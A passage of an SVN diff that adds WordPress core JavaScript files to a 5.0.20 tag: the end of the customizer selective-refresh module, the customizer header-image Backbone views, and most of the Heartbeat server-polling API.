+							placementsContents = _.map( data.contents[ partialId ], function( content, i ) {
+								var partialPlacement = partialsPlacements[ partialId ][ i ];
+								if ( partialPlacement ) {
+									partialPlacement.addedContent = content;
+								} else {
+									partialPlacement = new Placement( {
+										partial: pending.partial,
+										addedContent: content
+									} );
+								}
+								return partialPlacement;
+							} );
+							pending.deferred.resolveWith( pending.partial, [ placementsContents ] );
+						}
+					} );
+					self._pendingPartialRequests = {};
+				} );
+
+				request.fail( function( data, statusText ) {
+
+					/*
+					 * Ignore failures caused by partial.currentRequest.abort()
+					 * The pending deferreds will remain in self._pendingPartialRequests
+					 * for re-use with the next request.
+					 */
+					if ( 'abort' === statusText ) {
+						return;
+					}
+
+					_.each( self._pendingPartialRequests, function( pending, partialId ) {
+						pending.deferred.rejectWith( pending.partial, [ data, partialsPlacements[ partialId ] ] );
+					} );
+					self._pendingPartialRequests = {};
+				} );
+			},
+			api.settings.timeouts.selectiveRefresh
+		);
+
+		return partialRequest.deferred.promise();
+	};
+
+	/**
+	 * Add partials for any nav menu container elements in the document.
+	 *
+	 * This method may be called multiple times. Containers that already have been
+	 * seen will be skipped.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param {jQuery|HTMLElement} [rootElement]
+	 * @param {object}             [options]
+	 * @param {boolean=true}       [options.triggerRendered]
+	 */
+	self.addPartials = function( rootElement, options ) {
+		var containerElements;
+		if ( ! rootElement ) {
+			rootElement = document.documentElement;
+		}
+		rootElement = $( rootElement );
+		options = _.extend(
+			{
+				triggerRendered: true
+			},
+			options || {}
+		);
+
+		containerElements = rootElement.find( '[data-customize-partial-id]' );
+		if ( rootElement.is( '[data-customize-partial-id]' ) ) {
+			containerElements = containerElements.add( rootElement );
+		}
+		containerElements.each( function() {
+			var containerElement = $( this ), partial, placement, id, Constructor, partialOptions, containerContext;
+			id = containerElement.data( 'customize-partial-id' );
+			if ( ! id ) {
+				return;
+			}
+			containerContext = containerElement.data( 'customize-partial-placement-context' ) || {};
+
+			partial = self.partial( id );
+			if ( ! partial ) {
+				partialOptions = containerElement.data( 'customize-partial-options' ) || {};
+				partialOptions.constructingContainerContext = containerElement.data( 'customize-partial-placement-context' ) || {};
+				Constructor = self.partialConstructor[ containerElement.data( 'customize-partial-type' ) ] || self.Partial;
+				partial = new Constructor( id, partialOptions );
+				self.partial.add( partial );
+			}
+
+			/*
+			 * Only trigger renders on (nested) partials that have been not been
+			 * handled yet. An example where this would apply is a nav menu
+			 * embedded inside of a navigation menu widget. When the widget's title
+			 * is updated, the entire widget will re-render and then the event
+			 * will be triggered for the nested nav menu to do any initialization.
+			 */
+			if ( options.triggerRendered && ! containerElement.data( 'customize-partial-content-rendered' ) ) {
+
+				placement = new Placement( {
+					partial: partial,
+					context: containerContext,
+					container: containerElement
+				} );
+
+				$( placement.container ).attr( 'title', self.data.l10n.shiftClickToEdit );
+				partial.createEditShortcutForPlacement( placement );
+
+				/**
+				 * Announce when a partial's nested placement has been re-rendered.
+				 */
+				self.trigger( 'partial-content-rendered', placement );
+			}
+			containerElement.data( 'customize-partial-content-rendered', true );
+		} );
+	};
+
+	api.bind( 'preview-ready', function() {
+		var handleSettingChange, watchSettingChange, unwatchSettingChange;
+
+		_.extend( self.data, _customizePartialRefreshExports );
+
+		// Create the partial JS models.
+		_.each( self.data.partials, function( data, id ) {
+			var Constructor, partial = self.partial( id );
+			if ( ! partial ) {
+				Constructor = self.partialConstructor[ data.type ] || self.Partial;
+				partial = new Constructor(
+					id,
+					_.extend( { params: data }, data ) // Inclusion of params alias is for back-compat for custom partials that expect to augment this property.
+				);
+				self.partial.add( partial );
+			} else {
+				_.extend( partial.params, data );
+			}
+		} );
+
+		/**
+		 * Handle change to a setting.
+		 *
+		 * Note this is largely needed because adding a 'change' event handler to wp.customize
+		 * will only include the changed setting object as an argument, not including the
+		 * new value or the old value.
+		 *
+		 * @since 4.5.0
+		 * @this {wp.customize.Setting}
+		 *
+		 * @param {*|null} newValue New value, or null if the setting was just removed.
+		 * @param {*|null} oldValue Old value, or null if the setting was just added.
+		 */
+		handleSettingChange = function( newValue, oldValue ) {
+			var setting = this;
+			self.partial.each( function( partial ) {
+				if ( partial.isRelatedSetting( setting, newValue, oldValue ) ) {
+					partial.refresh();
+				}
+			} );
+		};
+
+		/**
+		 * Trigger the initial change for the added setting, and watch for changes.
+		 *
+		 * @since 4.5.0
+		 * @this {wp.customize.Values}
+		 *
+		 * @param {wp.customize.Setting} setting
+		 */
+		watchSettingChange = function( setting ) {
+			handleSettingChange.call( setting, setting(), null );
+			setting.bind( handleSettingChange );
+		};
+
+		/**
+		 * Trigger the final change for the removed setting, and unwatch for changes.
+		 *
+		 * @since 4.5.0
+		 * @this {wp.customize.Values}
+		 *
+		 * @param {wp.customize.Setting} setting
+		 */
+		unwatchSettingChange = function( setting ) {
+			handleSettingChange.call( setting, null, setting() );
+			setting.unbind( handleSettingChange );
+		};
+
+		api.bind( 'add', watchSettingChange );
+		api.bind( 'remove', unwatchSettingChange );
+		api.each( function( setting ) {
+			setting.bind( handleSettingChange );
+		} );
+
+		// Add (dynamic) initial partials that are declared via data-* attributes.
+		self.addPartials( document.documentElement, {
+			triggerRendered: false
+		} );
+
+		// Add new dynamic partials when the document changes.
+		if ( 'undefined' !== typeof MutationObserver ) {
+			self.mutationObserver = new MutationObserver( function( mutations ) {
+				_.each( mutations, function( mutation ) {
+					self.addPartials( $( mutation.target ) );
+				} );
+			} );
+			self.mutationObserver.observe( document.documentElement, {
+				childList: true,
+				subtree: true
+			} );
+		}
+
+		/**
+		 * Handle rendering of partials.
+		 *
+		 * @param {api.selectiveRefresh.Placement} placement
+		 */
+		api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
+			if ( placement.container ) {
+				self.addPartials( placement.container );
+			}
+		} );
+
+		/**
+		 * Handle setting validities in partial refresh response.
+		 *
+		 * @param {object} data Response data.
+		 * @param {object} data.setting_validities Setting validities.
+		 */
+		api.selectiveRefresh.bind( 'render-partials-response', function handleSettingValiditiesResponse( data ) {
+			if ( data.setting_validities ) {
+				api.preview.send( 'selective-refresh-setting-validities', data.setting_validities );
+			}
+		} );
+
+		api.preview.bind( 'edit-shortcut-visibility', function( visibility ) {
+			api.selectiveRefresh.editShortcutVisibility.set( visibility );
+		} );
+		api.selectiveRefresh.editShortcutVisibility.bind( function( visibility ) {
+			var body = $( document.body ), shouldAnimateHide;
+
+			shouldAnimateHide = ( 'hidden' === visibility && body.hasClass( 'customize-partial-edit-shortcuts-shown' ) && ! body.hasClass( 'customize-partial-edit-shortcuts-hidden' ) );
+			body.toggleClass( 'customize-partial-edit-shortcuts-hidden', shouldAnimateHide );
+			body.toggleClass( 'customize-partial-edit-shortcuts-shown', 'visible' === visibility );
+		} );
+
+		api.preview.bind( 'active', function() {
+
+			// Make all partials ready.
+			self.partial.each( function( partial ) {
+				partial.deferred.ready.resolve();
+			} );
+
+			// Make all partials added henceforth as ready upon add.
+			self.partial.bind( 'add', function( partial ) {
+				partial.deferred.ready.resolve();
+			} );
+		} );
+
+	} );
+
+	return self;
+}( jQuery, wp.customize ) );
Index: /tags/5.0.20/src/wp-includes/js/customize-views.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/customize-views.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/customize-views.js	(revision 56912)
@@ -0,0 +1,198 @@
+(function( $, wp, _ ) {
+
+	if ( ! wp || ! wp.customize ) { return; }
+	var api = wp.customize;
+
+	/**
+	 * wp.customize.HeaderTool.CurrentView
+	 *
+	 * Displays the currently selected header image, or a placeholder in lack
+	 * thereof.
+	 *
+	 * Instantiate with model wp.customize.HeaderTool.currentHeader.
+	 *
+	 * @memberOf wp.customize.HeaderTool
+	 * @alias wp.customize.HeaderTool.CurrentView
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 */
+	api.HeaderTool.CurrentView = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.CurrentView.prototype */{
+		template: wp.template('header-current'),
+
+		initialize: function() {
+			this.listenTo(this.model, 'change', this.render);
+			this.render();
+		},
+
+		render: function() {
+			this.$el.html(this.template(this.model.toJSON()));
+			this.setButtons();
+			return this;
+		},
+
+		setButtons: function() {
+			var elements = $('#customize-control-header_image .actions .remove');
+			if (this.model.get('choice')) {
+				elements.show();
+			} else {
+				elements.hide();
+			}
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.ChoiceView
+	 *
+	 * Represents a choosable header image, be it user-uploaded,
+	 * theme-suggested or a special Randomize choice.
+	 *
+	 * Takes a wp.customize.HeaderTool.ImageModel.
+	 *
+	 * Manually changes model wp.customize.HeaderTool.currentHeader via the
+	 * `select` method.
+	 *
+	 * @memberOf wp.customize.HeaderTool
+	 * @alias wp.customize.HeaderTool.ChoiceView
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 */
+	api.HeaderTool.ChoiceView = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.ChoiceView.prototype */{
+		template: wp.template('header-choice'),
+
+		className: 'header-view',
+
+		events: {
+			'click .choice,.random': 'select',
+			'click .close': 'removeImage'
+		},
+
+		initialize: function() {
+			var properties = [
+				this.model.get('header').url,
+				this.model.get('choice')
+			];
+
+			this.listenTo(this.model, 'change:selected', this.toggleSelected);
+
+			if (_.contains(properties, api.get().header_image)) {
+				api.HeaderTool.currentHeader.set(this.extendedModel());
+			}
+		},
+
+		render: function() {
+			this.$el.html(this.template(this.extendedModel()));
+
+			this.toggleSelected();
+			return this;
+		},
+
+		toggleSelected: function() {
+			this.$el.toggleClass('selected', this.model.get('selected'));
+		},
+
+		extendedModel: function() {
+			var c = this.model.get('collection');
+			return _.extend(this.model.toJSON(), {
+				type: c.type
+			});
+		},
+
+		select: function() {
+			this.preventJump();
+			this.model.save();
+			api.HeaderTool.currentHeader.set(this.extendedModel());
+		},
+
+		preventJump: function() {
+			var container = $('.wp-full-overlay-sidebar-content'),
+				scroll = container.scrollTop();
+
+			_.defer(function() {
+				container.scrollTop(scroll);
+			});
+		},
+
+		removeImage: function(e) {
+			e.stopPropagation();
+			this.model.destroy();
+			this.remove();
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.ChoiceListView
+	 *
+	 * A container for ChoiceViews. These choices should be of one same type:
+	 * user-uploaded headers or theme-defined ones.
+	 *
+	 * Takes a wp.customize.HeaderTool.ChoiceList.
+	 *
+	 * @memberOf wp.customize.HeaderTool
+	 * @alias wp.customize.HeaderTool.ChoiceListView
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 */
+	api.HeaderTool.ChoiceListView = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.ChoiceListView.prototype */{
+		initialize: function() {
+			this.listenTo(this.collection, 'add', this.addOne);
+			this.listenTo(this.collection, 'remove', this.render);
+			this.listenTo(this.collection, 'sort', this.render);
+			this.listenTo(this.collection, 'change', this.toggleList);
+			this.render();
+		},
+
+		render: function() {
+			this.$el.empty();
+			this.collection.each(this.addOne, this);
+			this.toggleList();
+		},
+
+		addOne: function(choice) {
+			var view;
+			choice.set({ collection: this.collection });
+			view = new api.HeaderTool.ChoiceView({ model: choice });
+			this.$el.append(view.render().el);
+		},
+
+		toggleList: function() {
+			var title = this.$el.parents().prev('.customize-control-title'),
+				randomButton = this.$el.find('.random').parent();
+			if (this.collection.shouldHideTitle()) {
+				title.add(randomButton).hide();
+			} else {
+				title.add(randomButton).show();
+			}
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.CombinedList
+	 *
+	 * Aggregates wp.customize.HeaderTool.ChoiceList collections (or any
+	 * Backbone object, really) and acts as a bus to feed them events.
+	 *
+	 * @memberOf wp.customize.HeaderTool
+	 * @alias wp.customize.HeaderTool.CombinedList
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 */
+	api.HeaderTool.CombinedList = wp.Backbone.View.extend(/** @lends wp.customize.HeaderTool.CombinedList.prototype */{
+		initialize: function(collections) {
+			this.collections = collections;
+			this.on('all', this.propagate, this);
+		},
+		propagate: function(event, arg) {
+			_.each(this.collections, function(collection) {
+				collection.trigger(event, arg);
+			});
+		}
+	});
+
+})( jQuery, window.wp, _ );
Index: /tags/5.0.20/src/wp-includes/js/heartbeat.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/heartbeat.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/heartbeat.js	(revision 56912)
@@ -0,0 +1,776 @@
+/**
+ * Heartbeat API
+ *
+ * Heartbeat is a simple server polling API that sends XHR requests to
+ * the server every 15 - 60 seconds and triggers events (or callbacks) upon
+ * receiving data. Currently these 'ticks' handle transports for post locking,
+ * login-expiration warnings, autosave, and related tasks while a user is logged in.
+ *
+ * Available PHP filters (in ajax-actions.php):
+ * - heartbeat_received
+ * - heartbeat_send
+ * - heartbeat_tick
+ * - heartbeat_nopriv_received
+ * - heartbeat_nopriv_send
+ * - heartbeat_nopriv_tick
+ * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat()
+ *
+ * Custom jQuery events:
+ * - heartbeat-send
+ * - heartbeat-tick
+ * - heartbeat-error
+ * - heartbeat-connection-lost
+ * - heartbeat-connection-restored
+ * - heartbeat-nonces-expired
+ *
+ * @since 3.6.0
+ */
+
+( function( $, window, undefined ) {
+	var Heartbeat = function() {
+		var $document = $(document),
+			settings = {
+				// Suspend/resume
+				suspend: false,
+
+				// Whether suspending is enabled
+				suspendEnabled: true,
+
+				// Current screen id, defaults to the JS global 'pagenow' when present (in the admin) or 'front'
+				screenId: '',
+
+				// XHR request URL, defaults to the JS global 'ajaxurl' when present
+				url: '',
+
+				// Timestamp, start of the last connection request
+				lastTick: 0,
+
+				// Container for the enqueued items
+				queue: {},
+
+				// Connect interval (in seconds)
+				mainInterval: 60,
+
+				// Used when the interval is set to 5 sec. temporarily
+				tempInterval: 0,
+
+				// Used when the interval is reset
+				originalInterval: 0,
+
+				// Used to limit the number of AJAX requests.
+				minimalInterval: 0,
+
+				// Used together with tempInterval
+				countdown: 0,
+
+				// Whether a connection is currently in progress
+				connecting: false,
+
+				// Whether a connection error occurred
+				connectionError: false,
+
+				// Used to track non-critical errors
+				errorcount: 0,
+
+				// Whether at least one connection has completed successfully
+				hasConnected: false,
+
+				// Whether the current browser window is in focus and the user is active
+				hasFocus: true,
+
+				// Timestamp, last time the user was active. Checked every 30 sec.
+				userActivity: 0,
+
+				// Flags whether events tracking user activity were set
+				userActivityEvents: false,
+
+				checkFocusTimer: 0,
+				beatTimer: 0
+			};
+
+		/**
+		 * Set local vars and events, then start
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function initialize() {
+			var options, hidden, visibilityState, visibilitychange;
+
+			if ( typeof window.pagenow === 'string' ) {
+				settings.screenId = window.pagenow;
+			}
+
+			if ( typeof window.ajaxurl === 'string' ) {
+				settings.url = window.ajaxurl;
+			}
+
+			// Pull in options passed from PHP
+			if ( typeof window.heartbeatSettings === 'object' ) {
+				options = window.heartbeatSettings;
+
+				// The XHR URL can be passed as option when window.ajaxurl is not set
+				if ( ! settings.url && options.ajaxurl ) {
+					settings.url = options.ajaxurl;
+				}
+
+				// The interval can be from 15 to 120 sec. and can be set temporarily to 5 sec.
+				// It can be set in the initial options or changed later from JS and/or from PHP.
+				if ( options.interval ) {
+					settings.mainInterval = options.interval;
+
+					if ( settings.mainInterval < 15 ) {
+						settings.mainInterval = 15;
+					} else if ( settings.mainInterval > 120 ) {
+						settings.mainInterval = 120;
+					}
+				}
+
+				// Used to limit the number of AJAX requests. Overrides all other intervals if they are shorter.
+				// Needed for some hosts that cannot handle frequent requests and the user may exceed the allocated server CPU time, etc.
+				// The minimal interval can be up to 600 sec. however setting it to longer than 120 sec. will limit or disable
+				// some of the functionality (like post locks).
+				// Once set at initialization, minimalInterval cannot be changed/overridden.
+				if ( options.minimalInterval ) {
+					options.minimalInterval = parseInt( options.minimalInterval, 10 );
+					settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval * 1000 : 0;
+				}
+
+				if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) {
+					settings.mainInterval = settings.minimalInterval;
+				}
+
+				// 'screenId' can be added from settings on the front end where the JS global 'pagenow' is not set
+				if ( ! settings.screenId ) {
+					settings.screenId = options.screenId || 'front';
+				}
+
+				if ( options.suspension === 'disable' ) {
+					settings.suspendEnabled = false;
+				}
+			}
+
+			// Convert to milliseconds
+			settings.mainInterval = settings.mainInterval * 1000;
+			settings.originalInterval = settings.mainInterval;
+
+			// Switch the interval to 120 sec. by using the Page Visibility API.
+			// If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the interval
+			// will be increased to 120 sec. after 5 min. of mouse and keyboard inactivity.
+			if ( typeof document.hidden !== 'undefined' ) {
+				hidden = 'hidden';
+				visibilitychange = 'visibilitychange';
+				visibilityState = 'visibilityState';
+			} else if ( typeof document.msHidden !== 'undefined' ) { // IE10
+				hidden = 'msHidden';
+				visibilitychange = 'msvisibilitychange';
+				visibilityState = 'msVisibilityState';
+			} else if ( typeof document.webkitHidden !== 'undefined' ) { // Android
+				hidden = 'webkitHidden';
+				visibilitychange = 'webkitvisibilitychange';
+				visibilityState = 'webkitVisibilityState';
+			}
+
+			if ( hidden ) {
+				if ( document[hidden] ) {
+					settings.hasFocus = false;
+				}
+
+				$document.on( visibilitychange + '.wp-heartbeat', function() {
+					if ( document[visibilityState] === 'hidden' ) {
+						blurred();
+						window.clearInterval( settings.checkFocusTimer );
+					} else {
+						focused();
+						if ( document.hasFocus ) {
+							settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
+						}
+					}
+				});
+			}
+
+			// Use document.hasFocus() if available.
+			if ( document.hasFocus ) {
+				settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
+			}
+
+			$(window).on( 'unload.wp-heartbeat', function() {
+				// Don't connect any more
+				settings.suspend = true;
+
+				// Abort the last request if not completed
+				if ( settings.xhr && settings.xhr.readyState !== 4 ) {
+					settings.xhr.abort();
+				}
+			});
+
+			// Check for user activity every 30 seconds.
+			window.setInterval( checkUserActivity, 30000 );
+
+			// Start one tick after DOM ready
+			$document.ready( function() {
+				settings.lastTick = time();
+				scheduleNextTick();
+			});
+		}
+
+		/**
+		 * Return the current time according to the browser
+		 *
+		 * @access private
+		 *
+		 * @return int
+		 */
+		function time() {
+			return (new Date()).getTime();
+		}
+
+		/**
+		 * Check if the iframe is from the same origin
+		 *
+		 * @access private
+		 *
+		 * @return bool
+		 */
+		function isLocalFrame( frame ) {
+			var origin, src = frame.src;
+
+			// Need to compare strings as WebKit doesn't throw JS errors when iframes have different origin.
+			// It throws uncatchable exceptions.
+			if ( src && /^https?:\/\//.test( src ) ) {
+				origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host;
+
+				if ( src.indexOf( origin ) !== 0 ) {
+					return false;
+				}
+			}
+
+			try {
+				if ( frame.contentWindow.document ) {
+					return true;
+				}
+			} catch(e) {}
+
+			return false;
+		}
+
+		/**
+		 * Check if the document's focus has changed
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function checkFocus() {
+			if ( settings.hasFocus && ! document.hasFocus() ) {
+				blurred();
+			} else if ( ! settings.hasFocus && document.hasFocus() ) {
+				focused();
+			}
+		}
+
+		/**
+		 * Set error state and fire an event on XHR errors or timeout
+		 *
+		 * @access private
+		 *
+		 * @param string error The error type passed from the XHR
+		 * @param int status The HTTP status code passed from jqXHR (200, 404, 500, etc.)
+		 * @return void
+		 */
+		function setErrorState( error, status ) {
+			var trigger;
+
+			if ( error ) {
+				switch ( error ) {
+					case 'abort':
+						// do nothing
+						break;
+					case 'timeout':
+						// no response for 30 sec.
+						trigger = true;
+						break;
+					case 'error':
+						if ( 503 === status && settings.hasConnected ) {
+							trigger = true;
+							break;
+						}
+						/* falls through */
+					case 'parsererror':
+					case 'empty':
+					case 'unknown':
+						settings.errorcount++;
+
+						if ( settings.errorcount > 2 && settings.hasConnected ) {
+							trigger = true;
+						}
+
+						break;
+				}
+
+				if ( trigger && ! hasConnectionError() ) {
+					settings.connectionError = true;
+					$document.trigger( 'heartbeat-connection-lost', [error, status] );
+					wp.hooks.doAction( 'heartbeat.connection-lost', error, status );
+				}
+			}
+		}
+
+		/**
+		 * Clear the error state and fire an event
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function clearErrorState() {
+			// Has connected successfully
+			settings.hasConnected = true;
+
+			if ( hasConnectionError() ) {
+				settings.errorcount = 0;
+				settings.connectionError = false;
+				$document.trigger( 'heartbeat-connection-restored' );
+				wp.hooks.doAction( 'heartbeat.connection-restored' );
+			}
+		}
+
+		/**
+		 * Gather the data and connect to the server
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function connect() {
+			var ajaxData, heartbeatData;
+
+			// If the connection to the server is slower than the interval,
+			// heartbeat connects as soon as the previous connection's response is received.
+			if ( settings.connecting || settings.suspend ) {
+				return;
+			}
+
+			settings.lastTick = time();
+
+			heartbeatData = $.extend( {}, settings.queue );
+			// Clear the data queue, anything added after this point will be send on the next tick
+			settings.queue = {};
+
+			$document.trigger( 'heartbeat-send', [ heartbeatData ] );
+			wp.hooks.doAction( 'heartbeat.send', heartbeatData );
+
+			ajaxData = {
+				data: heartbeatData,
+				interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000,
+				_nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '',
+				action: 'heartbeat',
+				screen_id: settings.screenId,
+				has_focus: settings.hasFocus
+			};
+
+			if ( 'customize' === settings.screenId  ) {
+				ajaxData.wp_customize = 'on';
+			}
+
+			settings.connecting = true;
+			settings.xhr = $.ajax({
+				url: settings.url,
+				type: 'post',
+				timeout: 30000, // throw an error if not completed after 30 sec.
+				data: ajaxData,
+				dataType: 'json'
+			}).always( function() {
+				settings.connecting = false;
+				scheduleNextTick();
+			}).done( function( response, textStatus, jqXHR ) {
+				var newInterval;
+
+				if ( ! response ) {
+					setErrorState( 'empty' );
+					return;
+				}
+
+				clearErrorState();
+
+				if ( response.nonces_expired ) {
+					$document.trigger( 'heartbeat-nonces-expired' );
+					wp.hooks.doAction( 'heartbeat.nonces-expired' );
+				}
+
+				// Change the interval from PHP
+				if ( response.heartbeat_interval ) {
+					newInterval = response.heartbeat_interval;
+					delete response.heartbeat_interval;
+				}
+
+				// Update the heartbeat nonce if set.
+				if ( response.heartbeat_nonce && typeof window.heartbeatSettings === 'object' ) {
+					window.heartbeatSettings.nonce = response.heartbeat_nonce;
+					delete response.heartbeat_nonce;
+				}
+
+				// Update the Rest API nonce if set and wp-api loaded.
+				if ( response.rest_nonce && typeof window.wpApiSettings === 'object' ) {
+					window.wpApiSettings.nonce = response.rest_nonce;
+					// This nonce is required for api-fetch through heartbeat.tick.
+					// delete response.rest_nonce;
+				}
+
+				$document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] );
+				wp.hooks.doAction( 'heartbeat.tick', response, textStatus, jqXHR );
+
+				// Do this last, can trigger the next XHR if connection time > 5 sec. and newInterval == 'fast'
+				if ( newInterval ) {
+					interval( newInterval );
+				}
+			}).fail( function( jqXHR, textStatus, error ) {
+				setErrorState( textStatus || 'unknown', jqXHR.status );
+				$document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] );
+				wp.hooks.doAction( 'heartbeat.error', jqXHR, textStatus, error );
+			});
+		}
+
+		/**
+		 * Schedule the next connection
+		 *
+		 * Fires immediately if the connection time is longer than the interval.
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function scheduleNextTick() {
+			var delta = time() - settings.lastTick,
+				interval = settings.mainInterval;
+
+			if ( settings.suspend ) {
+				return;
+			}
+
+			if ( ! settings.hasFocus ) {
+				interval = 120000; // 120 sec. Post locks expire after 150 sec.
+			} else if ( settings.countdown > 0 && settings.tempInterval ) {
+				interval = settings.tempInterval;
+				settings.countdown--;
+
+				if ( settings.countdown < 1 ) {
+					settings.tempInterval = 0;
+				}
+			}
+
+			if ( settings.minimalInterval && interval < settings.minimalInterval ) {
+				interval = settings.minimalInterval;
+			}
+
+			window.clearTimeout( settings.beatTimer );
+
+			if ( delta < interval ) {
+				settings.beatTimer = window.setTimeout(
+					function() {
+						connect();
+					},
+					interval - delta
+				);
+			} else {
+				connect();
+			}
+		}
+
+		/**
+		 * Set the internal state when the browser window becomes hidden or loses focus
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function blurred() {
+			settings.hasFocus = false;
+		}
+
+		/**
+		 * Set the internal state when the browser window becomes visible or is in focus
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function focused() {
+			settings.userActivity = time();
+
+			// Resume if suspended
+			settings.suspend = false;
+
+			if ( ! settings.hasFocus ) {
+				settings.hasFocus = true;
+				scheduleNextTick();
+			}
+		}
+
+		/**
+		 * Runs when the user becomes active after a period of inactivity
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function userIsActive() {
+			settings.userActivityEvents = false;
+			$document.off( '.wp-heartbeat-active' );
+
+			$('iframe').each( function( i, frame ) {
+				if ( isLocalFrame( frame ) ) {
+					$( frame.contentWindow ).off( '.wp-heartbeat-active' );
+				}
+			});
+
+			focused();
+		}
+
+		/**
+		 * Check for user activity
+		 *
+		 * Runs every 30 sec.
+		 * Sets 'hasFocus = true' if user is active and the window is in the background.
+		 * Set 'hasFocus = false' if the user has been inactive (no mouse or keyboard activity)
+		 * for 5 min. even when the window has focus.
+		 *
+		 * @access private
+		 *
+		 * @return void
+		 */
+		function checkUserActivity() {
+			var lastActive = settings.userActivity ? time() - settings.userActivity : 0;
+
+			// Throttle down when no mouse or keyboard activity for 5 min.
+			if ( lastActive > 300000 && settings.hasFocus ) {
+				blurred();
+			}
+
+			// Suspend after 10 min. of inactivity when suspending is enabled.
+			// Always suspend after 60 min. of inactivity. This will release the post lock, etc.
+			if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) {
+				settings.suspend = true;
+			}
+
+			if ( ! settings.userActivityEvents ) {
+				$document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
+					userIsActive();
+				});
+
+				$('iframe').each( function( i, frame ) {
+					if ( isLocalFrame( frame ) ) {
+						$( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
+							userIsActive();
+						});
+					}
+				});
+
+				settings.userActivityEvents = true;
+			}
+		}
+
+		// Public methods
+
+		/**
+		 * Whether the window (or any local iframe in it) has focus, or the user is active
+		 *
+		 * @return bool
+		 */
+		function hasFocus() {
+			return settings.hasFocus;
+		}
+
+		/**
+		 * Whether there is a connection error
+		 *
+		 * @return bool
+		 */
+		function hasConnectionError() {
+			return settings.connectionError;
+		}
+
+		/**
+		 * Connect asap regardless of 'hasFocus'
+		 *
+		 * Will not open two concurrent connections. If a connection is in progress,
+		 * will connect again immediately after the current connection completes.
+		 *
+		 * @return void
+		 */
+		function connectNow() {
+			settings.lastTick = 0;
+			scheduleNextTick();
+		}
+
+		/**
+		 * Disable suspending
+		 *
+		 * Should be used only when Heartbeat is performing critical tasks like autosave, post-locking, etc.
+		 * Using this on many screens may overload the user's hosting account if several
+		 * browser windows/tabs are left open for a long time.
+		 *
+		 * @return void
+		 */
+		function disableSuspend() {
+			settings.suspendEnabled = false;
+		}
+
+		/**
+		 * Get/Set the interval
+		 *
+		 * When setting to 'fast' or 5, by default interval is 5 sec. for the next 30 ticks (for 2 min and 30 sec).
+		 * In this case the number of 'ticks' can be passed as second argument.
+		 * If the window doesn't have focus, the interval slows down to 2 min.
+		 *
+		 * @param mixed speed Interval: 'fast' or 5, 15, 30, 60, 120
+		 * @param string ticks Used with speed = 'fast' or 5, how many ticks before the interval reverts back
+		 * @return int Current interval in seconds
+		 */
+		function interval( speed, ticks ) {
+			var newInterval,
+				oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval;
+
+			if ( speed ) {
+				switch ( speed ) {
+					case 'fast':
+					case 5:
+						newInterval = 5000;
+						break;
+					case 15:
+						newInterval = 15000;
+						break;
+					case 30:
+						newInterval = 30000;
+						break;
+					case 60:
+						newInterval = 60000;
+						break;
+					case 120:
+						newInterval = 120000;
+						break;
+					case 'long-polling':
+						// Allow long polling, (experimental)
+						settings.mainInterval = 0;
+						return 0;
+					default:
+						newInterval = settings.originalInterval;
+				}
+
+				if ( settings.minimalInterval && newInterval < settings.minimalInterval ) {
+					newInterval = settings.minimalInterval;
+				}
+
+				if ( 5000 === newInterval ) {
+					ticks = parseInt( ticks, 10 ) || 30;
+					ticks = ticks < 1 || ticks > 30 ? 30 : ticks;
+
+					settings.countdown = ticks;
+					settings.tempInterval = newInterval;
+				} else {
+					settings.countdown = 0;
+					settings.tempInterval = 0;
+					settings.mainInterval = newInterval;
+				}
+
+				// Change the next connection time if new interval has been set.
+				// Will connect immediately if the time since the last connection
+				// is greater than the new interval.
+				if ( newInterval !== oldInterval ) {
+					scheduleNextTick();
+				}
+			}
+
+			return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000;
+		}
+
+		/**
+		 * Enqueue data to send with the next XHR
+		 *
+		 * As the data is send asynchronously, this function doesn't return the XHR response.
+		 * To see the response, use the custom jQuery event 'heartbeat-tick' on the document, example:
+		 *		$(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) {
+		 *			// code
+		 *		});
+		 * If the same 'handle' is used more than once, the data is not overwritten when the third argument is 'true'.
+		 * Use wp.heartbeat.isQueued('handle') to see if any data is already queued for that handle.
+		 *
